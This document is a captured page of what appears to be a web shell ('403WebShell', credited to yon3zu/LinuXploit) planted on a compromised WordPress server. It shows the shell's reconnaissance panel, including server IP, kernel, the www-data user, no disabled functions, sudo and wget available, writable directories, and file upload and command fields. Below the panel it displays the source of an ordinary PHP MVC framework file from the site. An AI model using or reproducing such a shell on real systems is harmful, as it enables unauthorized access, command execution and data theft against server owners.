Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/core/framework.php
<?php
/*
 * based on PIP v0.5.3

			<IfModule mod_rewrite.c>
			RewriteEngine On
			RewriteBase /

			RewriteCond %{REQUEST_FILENAME} -s [OR]
			RewriteCond %{REQUEST_FILENAME} -l [OR]
			RewriteCond %{REQUEST_FILENAME} -d

			RewriteRule ^.*$ - [NC,L]
			RewriteRule ^.*$ /core/framework.php [NC,L]

			</IfModule> 
 */

//Start the Session
session_start(); 

// Defines
define('APP_DIR', realpath(dirname(__FILE__)) .'/');

// Includes
require APP_DIR .'config/config.php';
global $config;
$config = new config();

/////////////// /////////////// /////////////// /////////////// /////////////// /////////////// ///////////////

class Model {

	private $connection;

	public function __construct() {
		global $config, $DATABASE;
		if (!is_object($DATABASE->db)) $DATABASE->Open();
	}

	public function escapeString($string) {
		global $DATABASE;
		return $DATABASE->formatString($string);
	}

		
	public function query($sql) {
		global $DATABASE;
		$resultObjects = $DATABASE->Query($sql, array($this, '__simple_callback'), array());
		return $resultObjects;
	}

	public function execute($sql) {
		global $DATABASE;
		$DATABASE->Query($sql, '', 0);
	}
    
	function __simple_callback(&$ITEM, &$param) {
		$ITEM[] = $param;
	}
	
}

/////////////// /////////////// /////////////// /////////////// /////////////// /////////////// ///////////////

class View {

	public $pageVars = array('head' => '');
	private $template;

	public function __construct($template = '') {
		if ($template != '') {
			$this->template = APP_DIR .'views/'. $template .'.php';
		} else {
			$this->template = '';
		}
	} 

	public function set($var, $val) {
		$this->pageVars[$var] = $val;
	}

	private function _render($filename = '') {
		extract($this->pageVars);

		ob_start();
		if ($filename != '') {
			require($filename);
		} else {
			require($this->template);
		}
		return ob_get_clean();
	}
	
	// add a Handlebars template
	public function addHandlebars($html, $id = '', $pagetitle = '') {		// set data to an array to load template on pageload
		$id = $this->controller->AddView($id, $html, $pagetitle);
		return $id;
	}

	public function render($body, $title = '', $right = '') {
		echo $this->_render();
	}
}

/////////////// /////////////// /////////////// /////////////// /////////////// /////////////// ///////////////

class Controller {
	
	function __construct() {
		$this->isPost = $GLOBALS['config']->isPost();
		$this->pageVars = array('head' => '');
		$this->PHASE = 0;
		$this->ENTRYPOINTS = $this->_enumeratePublicFunctions();
		$this->on_same_page = array();
	}
	
	public function loadModel($name) {
		require_once(APP_DIR .'models/'. strtolower($name) .'.php');
		$model = new $name;
		return $model;
	}

	// A view comprising of a minimal php template 
	public function loadViewTemplate($name) {
		$view = new View($name);
		return $view;
	}

	// a more complicated view
	public function loadView($name) {
		require_once(APP_DIR .'views/'. strtolower($name) .'.php');
		$view = new $name;
		$view->controller = $this;
		return $view;
	}
	
	public function loadPlugin($name) {
		require_once(APP_DIR .'plugins/'. strtolower($name) .'.php');
	}
	
	public function loadHelper($name) {
		require_once(APP_DIR .'helpers/'. strtolower($name) .'.php');
		$helper = new $name;
		return $helper;
	}
	
	public function redirect($loc) 	{
		global $config;
		if ($loc == NULL) {
			__idp_error_handler(1, 'Null Redirect', __FILE__, __LINE__);
			exit;
		}
		if (strpos($loc, '://') !== FALSE) {
			header('Location: '. $loc);
		} else {
			header('Location: '. $config->base_url . $loc);
		}
		exit;
	}
		
	public function DisplayPage($title, $body, $showtitle = 1, $template='') {
		global $USERID, $VARIABLE;
// display the page
		if($template == '') $template = 'template_page';
		$template = $this->loadView($template);
		$template->show_title = $showtitle;
		
		// generate html for handlebars templates
		if (isset($this->views) && is_array($this->views)) {
			foreach($this->views as $viewname => $viewdata) {
				$VARIABLE['javascript_include'] .= $viewdata['html'];
			}
		}
		echo $template->Render($body, $title);
	}

	function Error($error_message) {
		global $config;
		$classname = $config->error_controller;
		require_once(APP_DIR . 'controllers/' . strtolower($classname) . '.php');
		$obj2 = new $classname;
		die(call_user_func_array(array($obj2, 'displayerror'), array($error_message)));
	}
	
	protected function _enumeratePublicFunctions() {
		$class = new ReflectionClass($this);
		$methods = $class->getMethods(ReflectionMethod::IS_PUBLIC);
		$result = array();
		foreach($methods as $method_item) {
			if ($method_item->class != 'Controller' && substr($method_item->name, 0, 2) != '__') {
				$n = trim(str_replace(array('/**', '*/'), '', $method_item->getDocComment()));
				if ($n != '') {
					$result[$method_item->name] = explode(' ', $n);
				}
			}
		}
		return $result;
	}

	public function _BuildMenu() {
		$this->PHASE = 1;
		// Generate Menu
		foreach($this->ENTRYPOINTS as $entry_point_name => $permission) {
			
			if ($permission !== FALSE) $this->$entry_point_name();		// parameters for each menu item will be blank
		}
		$this->PHASE = 0;
	}
	// add all templates, js and css used by this function, and child functions
	// first entry in $view_entry_points is the main one used for the menu
	protected function RegisterView($function_name, $view_file, $view_entry_points) {
		if (!isset($this->VIEWS[$view_file])) {
			$this->VIEWS[$view_file] = array( 'v' => $this->LoadView($view_file), 't' => array() );
		}
		switch($this->PHASE) {
			case 0:
				$this->_BuildMenu();
				$result = array(	'error' => array(),
							'template' => '', 
							'view' => &$this->VIEWS[$view_file],				// used to extract Page Title, based on the to-be-decided template
							'page_title' => '',									// filled in by Model
					);
				return $result;

			case 1: 		// Assemble Menu.  What items are on the same page?
				$classname = isset($this->classname) ? $this->classname : __CLASS__;
				foreach($view_entry_points as $index => $entrypoint) {
					$node = &$this->VIEWS[$view_file];
					$template_id = $node['v']->$entrypoint();
					$node['t'][] = $template_id;
					$this->on_same_page[$function_name] = '/' . strtolower($classname) . '/' . $function_name;
					if (strpos($function_name, '_') !== FALSE) {
						$dfunction_name = str_replace('_', '-', $function_name);
						$this->on_same_page[$dfunction_name] = '/' . strtolower($classname) . '/' . $dfunction_name;
					}
				}
				return NULL;
		}
	}
	
	private function GetPageTitle($template_id) {
		if (isset($this->views[$template_id])) {
			$node = &$this->views[$template_id];
			return array($node['title'], '');
		} else {
			return array('', '');
		}
	}

	private function setPrimaryTemplate($id, $data) {		// $id = template id returned from addHandlebars() 
		global $config, $VARIABLE;
		$data['current'] = $config->current_url;
		$data['host'] = $config->host;
		if (isset($this->on_same_page)) $data['samepage'] = array_values($this->on_same_page);
		$jsondata = json_encode($data);
		$e = addslashes($data['page_title']);
// this must go before any other onload text:
		$VARIABLE['javascript_onload'] = <<<BLOCK
		var data = $jsondata;
		bc.processResult(data);
{$VARIABLE['javascript_onload']}

BLOCK;
	}

	
	public function ExecuteCommand($action, $segments) {
		global $config;
		$this->PHASE = 0;
		$data = call_user_func_array(array($this, $action), array_slice($segments, 2));
		unset($data['view']);
		list($pagetitle, $template_select) = $this->GetPageTitle($data['template']);
		$data['page_title'] = $pagetitle;

		$contenttype = $config->getPreferredDocumentType();
		$is_json = strpos($contenttype, 'json') !== FALSE;
		if ($is_json) {
			$view = $this->LoadView('Export_json');
			return $view->render($data);
		} else {
			$this->setPrimaryTemplate($data['template'], $data);
			return $this->DisplayPage($pagetitle, '<div id="the_content"></div>');
		}
	}
	
	public function addView($id, $html, $title) {
		if (empty($id)) $id = 'hb_' . md5($html);
		$this->views[$id] = array(	'html' => "<script id=\"$id\" type=\"text/x-handlebars-template\">$html\n</script>",
									'title' => $title);		// page title
		return $id;
	}

	
}

/////////////// /////////////// /////////////// /////////////// /////////////// /////////////// ///////////////

	function checkaction($controller, $action) {
		$newaction = str_replace(array('-', '.'), '_', $action);
		if ($newaction == 'list') $newaction = '_list';		// a reserved php keyword
		if(!method_exists($controller, $action) && method_exists($controller, $newaction)){
			return $newaction;
		} else {
			return $action;
		}
	}

	function start_pip() {
		global $obj, $config, $USERID, $VARIABLE, $segments;

		$segments = $config->RetrieveSegments();
		// Do our default checks  - overwrite our default controller  / action, if specified
		$controller = isset($segments[0]) && $segments[0] != '' ? urldecode($segments[0]) : $config->default_controller;
		$action = isset($segments[1]) && $segments[1] != '' ? urldecode($segments[1]) : 'index';

		// Get our controller file
		$path = APP_DIR . 'controllers/' . $controller . '.php';
		if(file_exists($path)){
			require_once($path);
		} else {
			$controller = $config->error_controller;
			require_once(APP_DIR . 'controllers/' . $controller . '.php');
		}
		
		// Check the action exists
		$action = checkaction($controller, $action);
		if(!method_exists($controller, $action)){
			if (method_exists($controller, 'defaultaction')) {
				$obj = new $controller;
				$val = call_user_func_array(array($obj, 'defaultaction'), array_slice($segments, 1));	// work out the correct action based on parameters
				if (is_array($val)) {
					$action = array_shift($val);			// parameters are swapped
					array_splice($segments, 2, 1, $val);
				} else {
					$action = $val;
				}
				unset($obj);
				$action = checkaction($controller, $action);
			}
		}

		// Create object and call method
		$obj = new $controller;
		if(!method_exists($controller, $action)) $obj->Error(404);
		
		// do we have permission to execute it?
		if (isset($obj->ENTRYPOINTS[$action])) {
			if ($obj->ENTRYPOINTS[$action] === FALSE) $obj->Error(403);	// no permission
			die($obj->ExecuteCommand($action, $segments));
		} else {
			die(call_user_func_array(array($obj, $action), array_slice($segments, 2)));
		}
		
	}
	
	start_pip();
	

Youez - 2016 - github.com/yon3zu
LinuXploit